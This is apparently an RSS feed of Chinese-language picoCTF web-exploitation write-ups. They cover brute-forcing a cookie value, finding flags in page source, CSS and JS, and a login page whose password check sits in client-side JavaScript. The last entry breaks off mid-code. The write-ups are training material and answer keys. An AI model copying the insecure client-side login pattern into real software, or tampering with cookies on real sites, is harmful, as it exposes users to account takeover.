https://picoctf-writeup.pinjim.dev/tags/web-exploitation/Recent content in Web Exploitation on picoCTF WriteupHugoen-usWed, 15 Jul 2026 02:40:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookies/Wed, 15 Jul 2026 02:40:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookies/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/173">https://learn.cylabacademy.org/library/173</a></p> <h2 id="題目解法">題目解法</h2> <p>啟動網站後發現有一個可以輸入餅乾名稱的地方，我們就先輸入預設的 snickerdoodle 試試看。 <img alt="網站畫面" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookies/image1.webp"></p> <p>輸入後順利執行了，按下 F12 開啟開發工具，點擊 Application -&gt; Cookies 可以發現有一個 <code>name</code> 的值。 <img alt="網站開發者面板" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookies/image2.webp"></p> <p>可以發現餅乾名稱會隨著修改數字而變動，一個一個嘗試後發現當 <code>name</code> 的值為 18 時會顯示出 flag。（可以使用自動化工具去跑，但考量到這題題目數值比較小，所以就直接手動暴力嘗試） <img alt="flag" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookies/image3.webp"></p>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/includes/Mon, 13 Jul 2026 02:00:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/includes/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/274">https://learn.cylabacademy.org/library/274</a></p> <h2 id="題目解法">題目解法</h2> <p>根據提示可以知道 flag 應該被藏在網頁原始碼中，且可能不在一開始的頁面中。 按下 F12 並點擊 Sources 頁面查看有哪些原始檔案，可以看到除了 <code>index.html</code> 以外，還有 <code>style.css</code> 和 <code>script.js</code> 兩個檔案，查看即可得到部分 Flag。 <img alt="網頁開發工具截圖" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/includes/image.webp"></p> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-css" data-lang="css"><span style="display:flex;"><span><span style="color:#f92672">body</span> { </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">background-color</span>: <span style="color:#66d9ef">lightblue</span>; </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#75715e">/* picoCTF{1nc-------------- */</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">greetings</span>() </span></span><span style="display:flex;"><span>{ </span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;This code is in a separate file!&#34;</span>); </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#75715e">// --------------022} </span></span></span></code></pre></td></tr></table> </div> </div>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/inspect-html/Mon, 13 Jul 2026 01:30:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/inspect-html/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/275">https://learn.cylabacademy.org/library/275</a></p> <h2 id="題目解法">題目解法</h2> <p>啟動網站並前往後，按下 F12 (開發者工具) 或是 Ctrl + U (查看網頁原始碼)，即可看到完整的 Flag。</p> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">head</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1.0&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;X-UA-Compatible&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;ie=edge&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">title</span>&gt;On Histiaeus&lt;/<span style="color:#f92672">title</span>&gt; </span></span><span style="display:flex;"><span> &lt;/<span style="color:#f92672">head</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">body</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">h1</span>&gt;On Histiaeus&lt;/<span style="color:#f92672">h1</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">p</span>&gt;However, according to Herodotus, Histiaeus was unhappy having to stay in </span></span><span style="display:flex;"><span> Susa, and made plans to return to his position as King of Miletus by </span></span><span style="display:flex;"><span> instigating a revolt in Ionia. In 499 BC, he shaved the head of his </span></span><span style="display:flex;"><span> most trusted slave, tattooed a message on his head, and then waited for </span></span><span style="display:flex;"><span> his hair to grow back. The slave was then sent to Aristagoras, who was </span></span><span style="display:flex;"><span> instructed to shave the slave&#39;s head again and read the message, which </span></span><span style="display:flex;"><span> told him to revolt against the Persians.&lt;/<span style="color:#f92672">p</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">br</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">p</span>&gt; Source: Wikipedia on Histiaeus &lt;/<span style="color:#f92672">p</span>&gt; </span></span><span style="display:flex;"><span> <span style="color:#75715e">&lt;!--picoCTF{1n5-------------------25b}--&gt;</span> </span></span><span style="display:flex;"><span> &lt;/<span style="color:#f92672">body</span>&gt; </span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt; </span></span></code></pre></td></tr></table> </div> </div>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/local-authority/Mon, 13 Jul 2026 00:00:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/local-authority/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/278">https://learn.cylabacademy.org/library/278</a></p> <h2 id="題目解法">題目解法</h2> <p>啟動網站後隨意輸入一組帳密後顯示 Log In Failed，查看網頁原始碼，可以發現有剛剛輸入的帳號密碼以及一個 <code>secure.js</code> 的 javascript 檔案。仔細看可以發現底下 script 會呼叫一個 <code>checkPassword</code> 來檢查是否登入成功，但是當前頁面中沒有，點擊 <code>secure.js</code> 查看。</p> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">46 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">47 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">48 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">49 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">50 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">51 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">52 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">53 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">54 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">55 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">56 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">57 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">58 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">59 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">60 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">61 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">62 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">63 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">64 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">65 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">66 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">67 </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">head</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1.0&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;X-UA-Compatible&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;ie=edge&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;style.css&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">title</span>&gt;Login Page&lt;/<span style="color:#f92672">title</span>&gt; </span></span><span style="display:flex;"><span> &lt;/<span style="color:#f92672">head</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">body</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;secure.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;msg&#39;</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">hidden</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;admin.php&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;hiddenAdminForm&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;hash&#34;</span> <span style="color:#a6e22e">required</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;adminFormHash&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;/<span style="color:#f92672">form</span>&gt; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span>&gt; </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">filter</span>(<span style="color:#a6e22e">string</span>) { </span></span><span style="display:flex;"><span> <span style="color:#a6e22e">filterPassed</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>; </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">string</span>.<span style="color:#a6e22e">length</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>){ </span></span><span style="display:flex;"><span> <span style="color:#a6e22e">cc</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">string</span>.<span style="color:#a6e22e">charCodeAt</span>(<span style="color:#a6e22e">i</span>); </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( (<span style="color:#a6e22e">cc</span> <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">48</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">cc</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">57</span>) <span style="color:#f92672">||</span> </span></span><span style="display:flex;"><span> (<span style="color:#a6e22e">cc</span> <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">65</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">cc</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">90</span>) <span style="color:#f92672">||</span> </span></span><span style="display:flex;"><span> (<span style="color:#a6e22e">cc</span> <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">97</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">cc</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">122</span>) ) </span></span><span style="display:flex;"><span> { </span></span><span style="display:flex;"><span> <span style="color:#a6e22e">filterPassed</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> </span></span><span style="display:flex;"><span> { </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> window.<span style="color:#a6e22e">username</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;admin&#34;</span>; </span></span><span style="display:flex;"><span> window.<span 